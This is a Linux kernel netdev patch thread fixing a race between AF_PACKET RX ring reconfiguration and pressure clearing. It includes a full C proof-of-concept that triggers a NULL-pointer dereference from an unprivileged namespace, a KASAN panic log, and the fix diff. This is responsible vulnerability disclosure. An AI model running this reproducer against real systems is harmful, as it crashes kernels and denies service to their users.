* [PATCH net v3 0/1] packet: fix stale ring mode race
@ 2026-07-29 9:16 Zihan Xi
2026-07-29 9:16 ` [PATCH net v3 1/1] packet: synchronize pressure clearing with ring reconfiguration Zihan Xi
0 siblings, 1 reply; 2+ messages in thread
From: Zihan Xi @ 2026-07-29 9:16 UTC (permalink / raw)
To: netdev; +Cc: edumazet, pabeni, horms, vega, zihanx
Hi Linux kernel maintainers,
We found and validated an issue in net/packet/af_packet.c. The bug is
reachable by a non-root user via user and net namespace, with
CAP_NET_RAW in the target network namespace, through PACKET_RX_RING
reconfiguration on an AF_PACKET socket.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
packet_set_ring() swaps or clears po->rx_ring.pg_vec and related RX ring
state while holding sk->sk_receive_queue.lock. Before this patch, it
published the receive mode by updating po->prot_hook.func only after
dropping that queue lock.
packet_poll() and packet_recvmsg() may call
packet_rcv_try_clear_pressure(), which reaches
__packet_rcv_has_room(). That helper decides whether to use the
tpacket ring helpers solely from po->prot_hook.func. A concurrent poll
or recvmsg path can therefore observe a stale tpacket_rcv value after
the RX ring has already been cleared. For TPACKET_V1/V2 this can drive
packet_lookup_frame() with rb->pg_vec == NULL; for TPACKET_V3, stale
block queue metadata may be used after the old ring is released.
Fix this by moving the existing receive hook assignment into the same
sk_receive_queue.lock section as the ring state update. The assignment
is otherwise unchanged, including on TX ring reconfiguration, to avoid
adding behavior changes that are not required for the fix.
packet_recvmsg() only takes the queue lock after observing
PACKET_SOCK_PRESSURE. If the flag is clear and the socket has moved
away from tpacket_rcv, packet_set_ring() has already detached the
socket and waited for synchronize_net(), so no new packet input can set
the flag again. packet_poll() already holds sk_receive_queue.lock, so it
uses the unlocked helper directly.
The pressure-clearing trigger used by this reproducer was introduced
by commit 2ccdbaa6d55b ("packet: rollover lock contention avoidance"),
which added owner-side pressure clearing from packet_recvmsg() and
packet_poll(). Therefore the Fixes tag points to 2ccdbaa6d55b.
Reproducer:
gcc -O2 -static -o poc poc.c
unshare -Urn ./poc
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
static volatile sig_atomic_t stop_flag;
static size_t ring_block_size;
static size_t ring_frame_size;
static size_t send_len = 2048;
static void die(const char *what)
{
perror(what);
exit(1);
}
static long gettid_wrap(void)
{
return syscall(SYS_gettid);
}
static void pin_to_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) != 0)
perror("sched_setaffinity");
}
static void set_nonblock(int fd)
{
int flags = fcntl(fd, F_GETFL, 0);
if (flags < 0)
die("fcntl(F_GETFL)");
if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) != 0)
die("fcntl(F_SETFL)");
}
static int make_packet_socket(int ifindex, int fanout_arg, bool with_ring)
{
int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP));
int version = TPACKET_V1;
int copy_thresh = 1;
struct sockaddr_ll sll = {
.sll_family = AF_PACKET,
.sll_protocol = htons(ETH_P_IP),
.sll_ifindex = ifindex,
};
if (fd < 0)
die("socket(AF_PACKET)");
set_nonblock(fd);
if (setsockopt(fd, SOL_PACKET, PACKET_VERSION, &version,
sizeof(version)) != 0)
die("setsockopt(PACKET_VERSION)");
if (setsockopt(fd, SOL_PACKET, PACKET_COPY_THRESH, ©_thresh,
sizeof(copy_thresh)) != 0)
die("setsockopt(PACKET_COPY_THRESH)");
if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) != 0)
die("bind(AF_PACKET)");
if (setsockopt(fd, SOL_PACKET, PACKET_FANOUT, &fanout_arg,
sizeof(fanout_arg)) != 0)
die("setsockopt(PACKET_FANOUT)");
if (with_ring) {
struct tpacket_req req = {
.tp_block_size = ring_block_size,
.tp_block_nr = 1,
.tp_frame_size = ring_frame_size,
.tp_frame_nr = ring_block_size / ring_frame_size,
};
if (setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req,
sizeof(req)) != 0)
die("setsockopt(PACKET_RX_RING create)");
}
return fd;
}
static void destroy_ring(int fd)
{
struct tpacket_req req = {0};
if (setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)) != 0)
die("setsockopt(PACKET_RX_RING destroy)");
}
static void create_ring(int fd)
{
struct tpacket_req req = {
.tp_block_size = ring_block_size,
.tp_block_nr = 1,
.tp_frame_size = ring_frame_size,
.tp_frame_nr = ring_block_size / ring_frame_size,
};
if (setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)) != 0)
die("setsockopt(PACKET_RX_RING recreate)");
}
static int make_udp_pair(void)
{
int fd = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(31337),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
};
int one = 1;
if (fd < 0)
die("socket(AF_INET)");
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) != 0)
die("setsockopt(SO_REUSEADDR)");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) != 0)
die("bind(AF_INET)");
set_nonblock(fd);
return fd;
}
struct thread_args {
int target_fd;
int mirror_fd;
int sink_fd;
};
static void *poll_thread(void *arg)
{
struct thread_args *args = arg;
struct pollfd pfd = {
.fd = args->target_fd,
.events = POLLIN | POLLERR,
};
pin_to_cpu(0);
printf("[*] poll thread tid=%ld\n", gettid_wrap());
fflush(stdout);
while (!stop_flag) {
(void)poll(&pfd, 1, 0);
}
return NULL;
}
static void *recv_thread(void *arg)
{
struct thread_args *args = arg;
char buf[65536];
unsigned long iters = 0;
pin_to_cpu(1);
printf("[*] recv thread tid=%ld\n", gettid_wrap());
fflush(stdout);
while (!stop_flag) {
ssize_t n = recv(args->target_fd, buf, sizeof(buf), 0);
if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK &&
errno != EINTR)
die("recv(packet target)");
if ((++iters & 0xfffffUL) == 0) {
printf("[*] recv iterations=%lu\n", iters);
fflush(stdout);
}
}
return NULL;
}
static void *reconfig_thread(void *arg)
{
struct thread_args *args = arg;
unsigned long iters = 0;
pin_to_cpu(1);
printf("[*] reconfig thread tid=%ld\n", gettid_wrap());
fflush(stdout);
while (!stop_flag) {
destroy_ring(args->target_fd);
create_ring(args->target_fd);
if ((++iters & 0xfffffUL) == 0) {
printf("[*] reconfig iterations=%lu\n", iters);
fflush(stdout);
}
}
return NULL;
}
static void *udp_sink_thread(void *arg)
{
struct thread_args *args = arg;
char buf[65536];
pin_to_cpu(2);
printf("[*] sink thread tid=%ld\n", gettid_wrap());
fflush(stdout);
while (!stop_flag) {
ssize_t n = recv(args->sink_fd, buf, sizeof(buf), 0);
if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK &&
errno != EINTR)
die("recv(udp sink)");
}
return NULL;
}
static void *udp_sender_thread(void *arg)
{
struct thread_args *args = arg;
int fd = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(31337),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
};
char *buf;
unsigned long iters = 0;
if (fd < 0)
die("socket(AF_INET sender)");
buf = malloc(send_len);
if (!buf)
die("malloc(send buffer)");
pin_to_cpu(3);
memset(buf, 'A', send_len);
printf("[*] sender thread tid=%ld\n", gettid_wrap());
fflush(stdout);
while (!stop_flag) {
char drain[65536];
ssize_t n = sendto(fd, buf, send_len, 0,
(struct sockaddr *)&addr, sizeof(addr));
if (n < 0 && errno != EINTR)
die("sendto(loopback)");
for (;;) {
n = recv(args->sink_fd, drain, sizeof(drain), 0);
if (n < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK ||
errno == EINTR)
break;
die("recv(loopback sink)");
}
}
if ((++iters & 0xfffffUL) == 0) {
printf("[*] send iterations=%lu\n", iters);
fflush(stdout);
}
}
close(fd);
return NULL;
}
int main(void)
{
const int ifindex = if_nametoindex("lo");
const int fanout_id = 0x2345;
const int fanout_arg = fanout_id |
((PACKET_FANOUT_LB | PACKET_FANOUT_FLAG_ROLLOVER) << 16);
struct thread_args args;
pthread_t poller;
pthread_t receiver;
pthread_t reconfig;
pthread_t sender;
ring_block_size = getpagesize();
ring_frame_size = 128;
if (!ifindex) {
errno = ENODEV;
die("if_nametoindex(lo)");
}
printf("[*] lo ifindex=%d\n", ifindex);
fflush(stdout);
args.sink_fd = make_udp_pair();
args.target_fd = make_packet_socket(ifindex, fanout_arg, true);
args.mirror_fd = make_packet_socket(ifindex, fanout_arg, false);
printf("[*] target packet fd=%d\n", args.target_fd);
printf("[*] mirror packet fd=%d\n", args.mirror_fd);
printf("[*] fanout arg=0x%x\n", fanout_arg);
printf("[*] ring: block=%zu frame=%zu frames=%zu send_len=%zu\n",
ring_block_size, ring_frame_size,
ring_block_size / ring_frame_size, send_len);
fflush(stdout);
if (pthread_create(&sender, NULL, udp_sender_thread, &args) != 0)
die("pthread_create(sender)");
sleep(1);
printf("[*] starting poll/reconfigure race\n");
fflush(stdout);
if (pthread_create(&receiver, NULL, recv_thread, &args) != 0)
die("pthread_create(receiver)");
if (pthread_create(&poller, NULL, poll_thread, &args) != 0)
die("pthread_create(poller)");
if (pthread_create(&reconfig, NULL, reconfig_thread, &args) != 0)
die("pthread_create(reconfig)");
for (;;)
pause();
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 1250.041340][T10008] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] SMP KASAN NOPTI
[ 1250.042310][T10008] KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
[ 1250.042864][T10008] CPU: 0 UID: 0 PID: 10008 Comm: poc Not tainted 7.1.0-rc1 #2 PREEMPT(full)
[ 1250.043451][T10008] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1250.044145][T10008] RIP: 0010:packet_lookup_frame.isra.0+0x33/0x1c0
[ 1250.044597][T10008] Code: c0 55 89 cd 53 48 89 fb 48 89 f7 89 d6 31 d2 f7 f6 48 83 ec 10 4c 8d 24 c7 48 b8 00 00 00 00 00 fc ff df 4c 89 e1 48 c1 e9 03 <80> 3c 01 00 0f 85 30 01 00 00 89 d0 0f af c5 49 03 04 24 48 8d bb
[ 1250.045881][T10008] RSP: 0018:ffa000001366f7f8 EFLAGS: 00010256
[ 1250.046289][T10008] RAX: dffffc0000000000 RBX: ff11000070c74000 RCX: 0000000000000000
[ 1250.046801][T10008] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000000
[ 1250.047319][T10008] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[ 1250.047830][T10008] R10: ff11000070c7489f R11: 000000000000083b R12: 0000000000000000
[ 1250.048347][T10008] R13: ff11000070c7459c R14: ff11000070c74590 R15: ff11000070c74588
[ 1250.048865][T10008] FS: 00007f395cc1e6c0(0000) GS:ff11000184acf000(0000) knlGS:0000000000000000
[ 1250.049451][T10008] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 1250.049878][T10008] CR2: 00007ffda7f5be2c CR3: 000000002307f000 CR4: 0000000000751ef0
[ 1250.050405][T10008] PKRU: 55555554
[ 1250.050642][T10008] Call Trace:
[ 1250.050860][T10008] <TASK>
[ 1250.051069][T10008] __packet_rcv_has_room+0x271/0x6b0
[ 1250.051415][T10008] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1250.051792][T10008] ? __pfx_packet_poll+0x10/0x10
[ 1250.052124][T10008] packet_rcv_try_clear_pressure+0x51/0x80
[ 1250.052508][T10008] packet_poll+0x1b5/0x500
[ 1250.052803][T10008] sock_poll+0x134/0x490
[ 1250.053115][T10008] do_sys_poll+0x507/0xbf0
[ 1250.053424][T10008] ? __pfx_do_sys_poll+0x10/0x10
[ 1250.053765][T10008] ? __lock_acquire+0x45c/0x25f0
[ 1250.054140][T10008] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1250.054511][T10008] ? do_raw_spin_lock+0x12d/0x270
[ 1250.054844][T10008] ? __pfx_do_raw_spin_lock+0x10/0x10
[ 1250.055203][T10008] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1250.055570][T10008] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1250.055954][T10008] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1250.056325][T10008] ? sched_clock_cpu+0x6c/0x530
[ 1250.056656][T10008] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1250.057030][T10008] __x64_sys_poll+0x181/0x3e0
[ 1250.057337][T10008] ? __pfx___x64_sys_poll+0x10/0x10
[ 1250.057679][T10008] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1250.058059][T10008] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1250.058426][T10008] ? rcu_is_watching+0x12/0xc0
[ 1250.058745][T10008] do_syscall_64+0x116/0xf80
[ 1250.059069][T10008] ? irqentry_exit+0x117/0x830
[ 1250.059392][T10008] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 1250.059779][T10008] RIP: 0033:0x7f395dcbe9ee
[ 1250.060081][T10008] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08
[ 1250.061315][T10008] RSP: 002b:00007f395cc1de18 EFLAGS: 00000246 ORIG_RAX: 0000000000000007
[ 1250.061858][T10008] RAX: ffffffffffffffda RBX: 00007f395cc1e6c0 RCX: 00007f395dcbe9ee
[ 1250.062379][T10008] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 00007f395cc1de80
[ 1250.062902][T10008] RBP: ffffffffffffff00 R08: 0000000000000000 R09: 0000000000000000
[ 1250.063427][T10008] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000021
[ 1250.063944][T10008] R13: 0000000000000000 R14: 00007fff4bd03900 R15: 00007f395c41e000
[ 1250.064494][T10008] </TASK>
[ 1250.064693][T10008] Modules linked in:
[ 1250.065041][T10008] ---[ end trace 0000000000000000 ]---
[ 1250.065428][T10008] RIP: 0010:packet_lookup_frame.isra.0+0x33/0x1c0
[ 1250.065955][T10008] Code: c0 55 89 cd 53 48 89 fb 48 89 f7 89 d6 31 d2 f7 f6 48 83 ec 10 4c 8d 24 c7 48 b8 00 00 00 00 00 fc ff df 4c 89 e1 48 c1 e9 03 <80> 3c 01 00 0f 85 30 01 00 00 89 d0 0f af c5 49 03 04 24 48 8d bb
[ 1250.067510][T10008] RSP: 0018:ffa000001366f7f8 EFLAGS: 00010256
[ 1250.067935][T10008] RAX: dffffc0000000000 RBX: ff11000070c74000 RCX: 0000000000000000
[ 1250.068553][T10008] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000000
[ 1250.069271][T10008] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[ 1250.069879][T10008] R10: ff11000070c7489f R11: 000000000000083b R12: 0000000000000000
[ 1250.070540][T10008] R13: ff11000070c7459c R14: ff11000070c74590 R15: ff11000070c74588
[ 1250.071188][T10008] FS: 00007f395cc1e6c0(0000) GS:ff11000184acf000(0000) knlGS:0000000000000000
[ 1250.071991][T10008] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 1250.072518][T10008] CR2: 00007ffda7f5be2c CR3: 000000002307f000 CR4: 0000000000751ef0
[ 1250.073215][T10008] PKRU: 55555554
[ 1250.073492][T10008] Kernel panic - not syncing: Fatal exception in interrupt
[ 1250.074247][T10008] Kernel Offset: disabled
[ 1250.074781][T10008] Rebooting in 86400 seconds..
-----END crash log-----
The stack trace above is taken from the locally decoded crash log
prepared with scripts/decode_stacktrace.sh.
Best regards,
Zihan Xi
Zihan Xi (1):
packet: synchronize pressure clearing with ring reconfiguration
net/packet/af_packet.c | 20 ++++++++++++++++----
1 file changed, 16 insertions(+), 4 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 2+ messages in thread
* [PATCH net v3 1/1] packet: synchronize pressure clearing with ring reconfiguration
2026-07-29 9:16 [PATCH net v3 0/1] packet: fix stale ring mode race Zihan Xi
@ 2026-07-29 9:16 ` Zihan Xi
0 siblings, 0 replies; 2+ messages in thread
From: Zihan Xi @ 2026-07-29 9:16 UTC (permalink / raw)
To: netdev; +Cc: edumazet, pabeni, horms, vega, zihanx
packet_set_ring() updates the RX ring state under sk_receive_queue.lock,
but used to publish the tpacket receive mode through po->prot_hook.func
after releasing that lock. packet_poll() and packet_recvmsg() can then
run the pressure clearing path after the ring has been cleared while
still seeing tpacket_rcv, causing __packet_rcv_has_room() to dereference
stale or NULL ring storage.
Move the existing receive hook assignment into the same
sk_receive_queue.lock section as the ring state update. Keep the
assignment otherwise unchanged, including on TX ring reconfiguration, to
avoid adding behavior changes that are not required for the fix.
Serialize packet_recvmsg() pressure clearing with the same queue lock
only after PACKET_SOCK_PRESSURE has been observed. If the flag is clear
and the socket has moved away from tpacket_rcv, packet_set_ring() has
already detached the socket and waited for synchronize_net(), so no new
packet input can set the flag again.
packet_poll() already holds sk_receive_queue.lock, so it uses the new
unlocked helper directly.
Fixes: 2ccdbaa6d55b ("packet: rollover lock contention avoidance")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v3:
- keep the original po->prot_hook.func assignment unchanged and only
move it under sk_receive_queue.lock
- document why the packet_recvmsg() pressure fast path is sufficient
- v2 Link: https://lore.kernel.org/all/f1cd534481c2397a36850ad039dcbfd38c3233ce.1784551898.git.zihanx@nebusec.ai/
changes in v2:
- only take sk_receive_queue.lock in packet_recvmsg() when
PACKET_SOCK_PRESSURE is already set
- keep packet_poll() on the unlocked helper under its existing queue lock
- v1 Link: https://lore.kernel.org/all/24f7311aed0c9ff06b8ea982647b82bf543ec369.1784454542.git.xizh2024@lzu.edu.cn/
net/packet/af_packet.c | 20 ++++++++++++++++----
1 file changed, 16 insertions(+), 4 deletions(-)
diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c
index 8e6f3a734ba0..edf3bcf7bd73 100644
--- a/net/packet/af_packet.c
+++ b/net/packet/af_packet.c
@@ -1315,13 +1315,25 @@ static int packet_rcv_has_room(struct packet_sock *po, struct sk_buff *skb)
return ret;
}
-static void packet_rcv_try_clear_pressure(struct packet_sock *po)
+static void __packet_rcv_try_clear_pressure(struct packet_sock *po)
{
if (packet_sock_flag(po, PACKET_SOCK_PRESSURE) &&
__packet_rcv_has_room(po, NULL) == ROOM_NORMAL)
packet_sock_flag_set(po, PACKET_SOCK_PRESSURE, false);
}
+static void packet_rcv_try_clear_pressure(struct packet_sock *po)
+{
+ struct sock *sk = &po->sk;
+
+ if (!packet_sock_flag(po, PACKET_SOCK_PRESSURE))
+ return;
+
+ spin_lock_bh(&sk->sk_receive_queue.lock);
+ __packet_rcv_try_clear_pressure(po);
+ spin_unlock_bh(&sk->sk_receive_queue.lock);
+}
+
static void packet_sock_destruct(struct sock *sk)
{
skb_queue_purge(&sk->sk_error_queue);
@@ -4304,7 +4316,7 @@ static __poll_t packet_poll(struct file *file, struct socket *sock,
TP_STATUS_KERNEL))
mask |= EPOLLIN | EPOLLRDNORM;
}
- packet_rcv_try_clear_pressure(po);
+ __packet_rcv_try_clear_pressure(po);
spin_unlock_bh(&sk->sk_receive_queue.lock);
spin_lock_bh(&sk->sk_write_queue.lock);
if (po->tx_ring.pg_vec) {
@@ -4544,14 +4556,14 @@ static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
rb->frame_max = (req->tp_frame_nr - 1);
rb->head = 0;
rb->frame_size = req->tp_frame_size;
+ po->prot_hook.func = (po->rx_ring.pg_vec) ?
+ tpacket_rcv : packet_rcv;
spin_unlock_bh(&rb_queue->lock);
swap(rb->pg_vec_order, order);
swap(rb->pg_vec_len, req->tp_block_nr);
rb->pg_vec_pages = req->tp_block_size/PAGE_SIZE;
- po->prot_hook.func = (po->rx_ring.pg_vec) ?
- tpacket_rcv : packet_rcv;
skb_queue_purge(rb_queue);
if (atomic_long_read(&po->mapped))
pr_err("packet_mmap: vma is busy: %ld\n",
--
2.43.0
^ permalink raw reply related [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-07-29 9:17 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-29 9:16 [PATCH net v3 0/1] packet: fix stale ring mode race Zihan Xi
2026-07-29 9:16 ` [PATCH net v3 1/1] packet: synchronize pressure clearing with ring reconfiguration Zihan Xi
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.